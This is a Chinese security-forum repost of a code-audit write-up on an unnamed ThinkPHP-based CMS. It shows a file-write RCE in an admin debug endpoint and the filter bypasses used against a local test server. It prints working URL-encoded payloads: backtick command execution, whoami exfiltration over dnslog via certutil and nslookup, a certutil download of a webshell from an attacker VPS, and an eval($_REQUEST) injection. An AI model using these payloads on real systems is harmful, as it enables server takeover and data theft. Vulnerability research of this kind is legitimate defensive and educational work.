安全矩阵

 找回密码
 立即注册
搜索
查看: 2760|回复: 0

某cms代码审计RCE&艰难bypass(思路清奇)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-16 09:07:28 | 显示全部楼层 |阅读模式
原文链接:某cms代码审计RCE&艰难bypass(思路清奇)

0x01 前言闲来无事挖挖漏洞,发现一个经过了一些过滤的漏洞,踩了无数的坑,然后冥思苦想了许多方法,终于找到了一个点,使得可以进行命令执行与getshell。这里的漏洞点不值一提,但是因为绕过方法挺好玩的,故在这里分享一下思路,大佬勿喷~
思路不唯一,也希望有其他方法的话,大佬们可以不吝赐教,谢谢大家~
0x02 代码审计环境此次代码审计采用的是phpstudy一键式搭建。
phpstudy下载地址:https://www.xp.cn/download.html

代码审计分析工具:nopad++,seay源代码分析工具


0x03 开始审计话不多说,先看一下目录结构,很明显的tp5框架

在\thinkphp\base.php文件中也可以看到对应的tp版本号(5.0.24版本好像有个反序列化,其实也可以尝试一下)

虽然seay用现有的规则扫描扫出来的漏洞不太准确,但是帮忙定位危险函数还是可以的,所以我一般都会先进行自动审计。

接下来就是一个个漏洞分析了,都点进去看一看。
其实只需要看2点:
1.用户可以控制输入的内容
2.输入的内容被放到危险函数中进行了执行
(需要进行流程跟进的话还是推荐使用phpstorm工具的,我这里因为是在虚拟机中,就简单用了seay和nopad++代替)
0x04 漏洞点分析1、具体我发现这个漏洞是在/app/admin/controller/api.php文件下的debug函数

  1. public function debug()
  2.     {
  3.         $path = 'app/extra/debug.php';
  4.         $file = include $path;
  5.         $config = array(
  6.          'name' => input('id'),
  7.         );
  8.         $config = preg_replace("/[?><?]/", '', $config);
  9.         $res = array_merge($file, $config);
  10.         $str = '<?php return [';
  11.         foreach ($res as $key => $value) {
  12.             $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
  13.         }
  14.         $str .= ']; ';
  15.         if (file_put_contents($path, $str)) {
  16.             return json(array('code' => 1, 'msg' => '操作成功'));
  17.         } else {
  18.             return json(array('code' => 0, 'msg' => '操作失败'));
  19.         }
  20.     }
复制代码

在代码第15行通过file_put_contents()函数将id传参的内容写入到app/extra/debug.php文件中。
2、可以看到上面进行了一些过滤,将<>和?替换为空
$config = preg_replace("/[?><?]/", '', $config);3、这里直接将不太清晰,实战演示一下,首先访问后台路径,这里有个debug功能,就是上面debug函数的功能点。
http://127.0.0.1/index.php/admin/

4、具体使用时发现报错了,那就直接访问对应的函数,路由规则就是/index.php/目录-文件-函数.html?传参=。
这里我传参123进行测试

  1. http://127.0.0.1/index.php/admin-api-debug.html?id=123
复制代码

5、在debug.php文件中可以看到123是放到数组中的值处,而我们可以控制这里的值。

  1. <?php return ['name'=>'123',];
复制代码
6、下面讲解我进行绕过的思路以及遇到的坑。
0x05 绕过思路第一次踩坑1、首先,这里因为没有过滤单引号和中括号,所以我们可以手动闭合
payload:
  1. http://127.0.0.1/index.php/admin-api-debug.html?id=123%27];phpinfo();//
复制代码
这里可以看到数据是成功写入进文件中的

  1. <?php return ['name'=>'123'];phpinfo();//',];
复制代码
2、访问debug.php文件试试发现,页面并没有返回想要的内容

3、这里我想了好久,想着试试更换echo输出看看

  1. <?php return ['name'=>'123'];echo '12344321';//',];
复制代码
在页面中并没有输出

4、查阅资料之后理解了return后代码不再向下执行,此路不通
参考链接:https://www.cnblogs.com/gzpu/p/13736420.html

第二次踩坑​​
1、既然不能通过分号结束代码后执行其他代码的话,我能不能在return中执行代码呢,此处进行了尝试

  1. <?php return ['name'=>'123',eval($_REQUEST[1]);'',];
复制代码

于是……页面报错了

2、再试试换行
  1. http://127.0.0.1/index.php/admin-api-debug.html?id=123%27,%0aeval($_REQUEST[1]);%27
复制代码




好的,还是不执行

第三次,渐渐好起来了1、因为代码执行行不通,那我就想着试试命令执行看可不可以。先申请一个dnslog,链接:http://dnslog.cn/

2、使用.拼接反引号执行命令
  1. http://127.0.0.1/index.php/admin-api-debug.html?id=123%27].`ping%20123.yh6nta.dnslog.cn`;//
复制代码
查看文件情况

  1. <?php return ['name'=>'123'].`ping 123.yh6nta.dnslog.cn`;//',];
复制代码
访问看看,发现报错了,但是dnslog记录了数据,命令执行成功了

3、这里报错怀疑是使用了点进行拼接,两边的字符类型不匹配,因为命令执行可以使用符号进行连接,所以在这里将点替换成&。
因为&在url中还有其他含义,所以先进行url编码。
  1. 123']&`ping 123.yh6nta.dnslog.cn`;//
  2. #url编码
  3. 123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
复制代码


  1. http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
复制代码


查看文件情况


4、既然可以执行命令了,很明显这里是无回显的情况,那么怎么拿到shell呢
PHP无回显情况下的渗透测试可以参考此文章:
https://xz.aliyun.com/t/9916
Linux系统这里不细说,只要命令没有<、>、?即可1、nc反弹shell2、配合其他组件,如redis等3、等等~
Windows系统1、第一次尝试
使用`ping `whoami`.yh6nta.dnslog.cn`,失败使用`ping /`whoami/`.yh6nta.dnslog.cn`,失败使用`ping %系统变量%.yh6nta.dnslog.cn`,失败
2、第二次尝试
使用系统命令外带数据,首先我在文件中直接修改,发现可以成功外带数据

  1. <?php return ['name'=>'123']&`cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.yh6nta.dnslog.cn)&del temp`;//',];
复制代码





后面发现,这条命令中含有一个>号,苦恼好久,暂时放弃。不过我觉得这个命令可以适当优化,然后就可以使用了。
3、第三次尝试,成功getshell
这里借鉴了XX师傅的建议,通过命令下载文件getshell
1、首先需要准备一个文件,内容为一句话木马,放到vps的web服务中。(当然起一个python的http服务也可以,主要是要可以访问获取。)
2、windows中可以使用certutil下载文件
#payload:
  1. ']&`certutil -urlcache -split -f http://vps地址:83/shell 1.php`;//
复制代码

#url编码:
  1. %27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F
复制代码

#通过id传参:
  1. http://127.0.0.1/index.php/admin-api-debug.html?id=%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F
复制代码



3、查看debug.php文件情况

4、访问debug.php后,会在当前目录生成1.php,内容为一句话木马

5、执行phpinfo函数

原来竟然如此简单?1、因为前面命令执行可以使用符号进行连接,我想着在代码中也试试,看看能不能直接执行一句话木马(测试了|、||、&、&&,只有&和&&的时候可以执行)
同样先进行url编码
  1. 123']&&eval($_REQUEST[1]);//#url编码123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
复制代码


  1. http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
复制代码



在文件中是这样的

尝试访问,成功执行代码

居然就这样就可以了……


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:35 , Processed in 0.014143 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表